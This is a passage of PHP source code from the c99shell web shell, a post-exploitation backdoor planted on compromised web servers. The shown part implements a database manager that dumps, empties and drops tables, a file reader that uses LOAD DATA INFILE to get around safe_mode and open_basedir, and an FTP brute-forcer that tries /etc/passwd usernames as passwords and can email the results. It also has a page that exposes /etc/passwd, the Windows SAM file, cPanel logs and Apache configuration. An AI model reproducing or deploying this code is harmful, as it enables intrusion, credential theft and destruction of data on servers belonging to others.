  1074.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1075.       else
  1076.       {
  1077.        fwrite($fp,$ret);
  1078.        fclose($fp);
  1079.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1080.       }
  1081.      }
  1082.      else {echo "<b>Dump: nothing to do!</b>";}
  1083.     }
  1084.    }
  1085.    if ($diplay)
  1086.    {
  1087.     if (!empty($sql_tbl))
  1088.     {
  1089.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1090.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1091.      $count_row = mysql_fetch_array($count);
  1092.      mysql_free_result($count);    
  1093.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1094.      $tbl_struct_fields = array();
  1095.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}    
  1096.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1097.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1098.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1099.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1100.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  1101.      if (!is_numeric($perpage)) {$perpage = 10;}
  1102.      $numpages = $count_row[0]/$perpage;
  1103.      $e = explode(" ",$sql_order);
  1104.      if (count($e) == 2)
  1105.      {
  1106.       if ($e[0] == "d") {$asc_desc = "DESC";}
  1107.       else {$asc_desc = "ASC";}
  1108.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1109.      }
  1110.      else {$v = "";}
  1111.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1112.      $result = mysql_query($query) or print(mysql_smarterror());
  1113.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1114.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1115.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1116.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1117.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1118.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1119.      if ($sql_tbl_act == "insert")
  1120.      {
  1121.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1122.       if (!empty($sql_tbl_insert_radio))
  1123.       {
  1124.  
  1125.       }
  1126.       else
  1127.       {
  1128.        echo "<br><br><b>Inserting row into table:</b><br>";
  1129.        if (!empty($sql_tbl_insert_q))
  1130.        {
  1131.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1132.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  1133.         $sql_query .= " LIMIT 1;";
  1134.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1135.         $values = mysql_fetch_assoc($result);
  1136.         mysql_free_result($result);
  1137.        }
  1138.        else {$values = array();}
  1139.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1140.        foreach ($tbl_struct_fields as $field)
  1141.        {
  1142.         $name = $field["Field"];
  1143.         if (empty($sql_tbl_insert_q)) {$v = "";}
  1144.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1145.         $i++;
  1146.        }
  1147.        echo "</table><br>";
  1148.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1149.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1150.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1151.       }
  1152.      }
  1153.      if ($sql_tbl_act == "browse")
  1154.      {
  1155.       $sql_tbl_ls = abs($sql_tbl_ls);
  1156.       $sql_tbl_le = abs($sql_tbl_le);
  1157.       echo "<hr size=\"1\" noshade>";
  1158.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1159.       $b = 0;
  1160.       for($i=0;$i<$numpages;$i++)
  1161.       {
  1162.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1163.        echo $i;
  1164.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1165.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1166.        else {echo "&nbsp;";}
  1167.       }
  1168.       if ($i == 0) {echo "empty";}
  1169.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1170.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  1171.       echo "<tr>";
  1172.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1173.       for ($i=0;$i<mysql_num_fields($result);$i++)
  1174.       {
  1175.        $v = mysql_field_name($result,$i);
  1176.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1177.        else {$s = "a"; $m = "desc";}
  1178.        echo "<td>";
  1179.        if (empty($e[0])) {$e[0] = "a";}
  1180.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1181.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1182.        echo "</td>";
  1183.       }
  1184.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1185.       echo "</tr>";
  1186.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1187.       {
  1188.        echo "<tr>";
  1189.        $w = "";
  1190.        $i = 0;
  1191.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1192.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1193.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1194.        $i = 0;
  1195.        foreach ($row as $k=>$v)
  1196.        {
  1197.         $v = htmlspecialchars($v);
  1198.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1199.         echo "<td>".$v."</td>";
  1200.         $i++;
  1201.        }
  1202.        echo "<td>";
  1203.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1204.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1205.        echo "</td>";
  1206.        echo "</tr>";
  1207.       }
  1208.       mysql_free_result($result);
  1209.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1210.       echo "<option value=\"\">With selected:</option>";
  1211.       echo "<option value=\"deleterow\">Delete</option>";
  1212.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1213.      }
  1214.     }
  1215.     else
  1216.     {
  1217.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1218.      if (!$result) {echo mysql_smarterror();}
  1219.      else
  1220.      {
  1221.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1222.       $i = 0;
  1223.       $tsize = $trows = 0;
  1224.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1225.       {
  1226.        $tsize += $row["Data_length"];
  1227.        $trows += $row["Rows"];
  1228.        $size = view_size($row["Data_length"]);
  1229.        echo "<tr>";
  1230.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1231.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1232.        echo "<td>".$row["Rows"]."</td>";
  1233.        echo "<td>".$row["Type"]."</td>";
  1234.        echo "<td>".$row["Create_time"]."</td>";
  1235.        echo "<td>".$row["Update_time"]."</td>";
  1236.        echo "<td>".$size."</td>";
  1237.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1238.        echo "</tr>";
  1239.        $i++;
  1240.       }
  1241.       echo "<tr bgcolor=\"000000\">";
  1242.       echo "<td><center><b>»</b></center></td>";
  1243.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1244.       echo "<td><b>".$trows."</b></td>";
  1245.       echo "<td>".$row[1]."</td>";
  1246.       echo "<td>".$row[10]."</td>";
  1247.       echo "<td>".$row[11]."</td>";
  1248.       echo "<td><b>".view_size($tsize)."</b></td>";
  1249.       echo "<td></td>";
  1250.       echo "</tr>";
  1251.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1252.       echo "<option value=\"\">With selected:</option>";
  1253.       echo "<option value=\"tbldrop\">Drop</option>";
  1254.       echo "<option value=\"tblempty\">Empty</option>";
  1255.       echo "<option value=\"tbldump\">Dump</option>";
  1256.       echo "<option value=\"tblcheck\">Check table</option>";
  1257.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1258.       echo "<option value=\"tblrepair\">Repair table</option>";
  1259.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1260.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1261.       mysql_free_result($result);
  1262.      }
  1263.     }
  1264.    }
  1265.    }
  1266.   }
  1267.   else
  1268.   {
  1269.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1270.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1271.    if (!empty($sql_act))
  1272.    {
  1273.     echo "<hr size=\"1\" noshade>";
  1274.     if ($sql_act == "newdb")
  1275.     {
  1276.      echo "<b>";
  1277.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1278.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1279.     }
  1280.     if ($sql_act == "serverstatus")
  1281.     {
  1282.      $result = mysql_query("SHOW STATUS", $sql_sock);
  1283.      echo "<center><b>Server-status variables:</b><br><br>";
  1284.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1285.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1286.      echo "</table></center>";
  1287.      mysql_free_result($result);
  1288.     }
  1289.     if ($sql_act == "servervars")
  1290.     {
  1291.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1292.      echo "<center><b>Server variables:</b><br><br>";
  1293.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1294.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1295.      echo "</table>";
  1296.      mysql_free_result($result);
  1297.     }
  1298.     if ($sql_act == "processes")
  1299.     {
  1300.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1301.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1302.      echo "<center><b>Processes:</b><br><br>";
  1303.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1304.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1305.      echo "</table>";
  1306.      mysql_free_result($result);
  1307.     }
  1308.     if ($sql_act == "getfile")
  1309.     {
  1310.      $tmpdb = $sql_login."_tmpdb";
  1311.      $select = mysql_select_db($tmpdb);
  1312.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1313.      if ($select)
  1314.      {
  1315.       $created = false;
  1316.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1317.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1318.       $result = mysql_query("SELECT * FROM tmp_file;");
  1319.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1320.       else
  1321.       {
  1322.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1323.        $f = "";
  1324.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1325.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1326.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1327.        mysql_free_result($result);
  1328.        mysql_query("DROP TABLE tmp_file;");
  1329.       }
  1330.      }
  1331.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  1332.     }
  1333.    }
  1334.   }
  1335.  }
  1336.  echo "</td></tr></table>";
  1337.  if ($sql_sock)
  1338.  {
  1339.   $affected = @mysql_affected_rows($sql_sock);
  1340.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1341.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1342.  }
  1343.  echo "</table>";
  1344. }
  1345. if ($act == "mkdir")
  1346. {
  1347.  if ($mkdir != $d)
  1348.  {
  1349.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1350.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1351.   echo "<br><br>";
  1352.  }
  1353.  $act = $dspact = "ls";
  1354. }
  1355. if ($act == "ftpquickbrute")
  1356. {
  1357.  echo "<b>Ftp Quick brute:</b><br>";
  1358.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  1359.  else
  1360.  {
  1361.   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1362.   {
  1363.    if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));}
  1364.    else {$true = true;}
  1365.    if ($true)
  1366.    {
  1367.     $sock = @ftp_connect($host,$port,$timeout);
  1368.     if (@ftp_login($sock,$login,$pass))
  1369.     {
  1370.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1371.      ob_flush();
  1372.      return true;
  1373.     }
  1374.    }
  1375.   }
  1376.   if (!empty($submit))
  1377.   {
  1378.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1379.    $fp = fopen("/etc/passwd","r");
  1380.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1381.    else
  1382.    {
  1383.     if ($fqb_logging)
  1384.     {
  1385.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1386.      else {$fqb_logfp = false;}
  1387.      $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1388.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1389.     }
  1390.     ob_flush();
  1391.     $i = $success = 0;
  1392.     $ftpquick_st = getmicrotime();
  1393.     while(!feof($fp))
  1394.     {
  1395.      $str = explode(":",fgets($fp,2048));
  1396.      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1397.      {
  1398.       echo "<b>Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1399.       $fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1400.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1401.       $success++;
  1402.       ob_flush();
  1403.      }
  1404.      if ($i > $fqb_lenght) {break;}
  1405.      $i++;
  1406.     }
  1407.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1408.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1409.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1410.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1411.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1412.     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
  1413.     fclose($fqb_logfp);
  1414.    }
  1415.   }
  1416.   else
  1417.   {
  1418.    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1419.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1420.    echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>";
  1421.   }
  1422.  }
  1423. }
  1424. if ($act == "d")
  1425. {
  1426.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1427.  else
  1428.  {
  1429.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1430.   if (!$win)
  1431.   {
  1432.    echo "<tr><td><b>Owner/Group</b></td><td> ";      
  1433.    $tmp = posix_getpwuid(fileowner($d));
  1434.    if ($tmp["name"] == "") {echo fileowner($d)."/";}
  1435.    else {echo $tmp["name"]."/";}
  1436.    $tmp = posix_getgrgid(filegroup($d));
  1437.    if ($tmp["name"] == "") {echo filegroup($d);}
  1438.    else {echo $tmp["name"];}
  1439.   }
  1440.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1441.  }
  1442. }
  1443. if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;}
  1444. if ($act == "security")
  1445. {
  1446.  echo "<center><b>Server security information:</b></center><b>Software:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br><b>Safe-Mode: ".$hsafemode."</b><br><b>Open base dir: ".$hopenbasedir."</b><br>";
  1447.  if (!$win)
  1448.  {
  1449.   if ($nixpasswd)
  1450.   {
  1451.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  1452.    echo "<b>*nix /etc/passwd:</b><br>";
  1453.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1454.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1455.    echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"security\"><input type=\"hidden\" name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=\"submit\" value=\"View\"></form><br>";
  1456.    $i = $nixpwd_s;
  1457.    while ($i < $nixpwd_e)
  1458.    {
  1459.     $uid = posix_getpwuid($i);
  1460.     if ($uid)
  1461.     {
  1462.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1463.      echo join(":",$uid)."<br>";
  1464.     }
  1465.     $i++;
  1466.    }
  1467.   }
  1468.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  1469.  }
  1470.  else
  1471.  {
  1472.   $v = $_SERVER["WINDIR"]."\repair\sam";
  1473.   if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";}
  1474.   else {echo "<b><font color=\"green\">You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
  1475.  }
  1476.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  1477.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";}
  1478.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1479.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1480. }
  1481. if ($act == "mkfile")
  1482. {
  1483.  if ($mkfile != $d)
  1484.  {
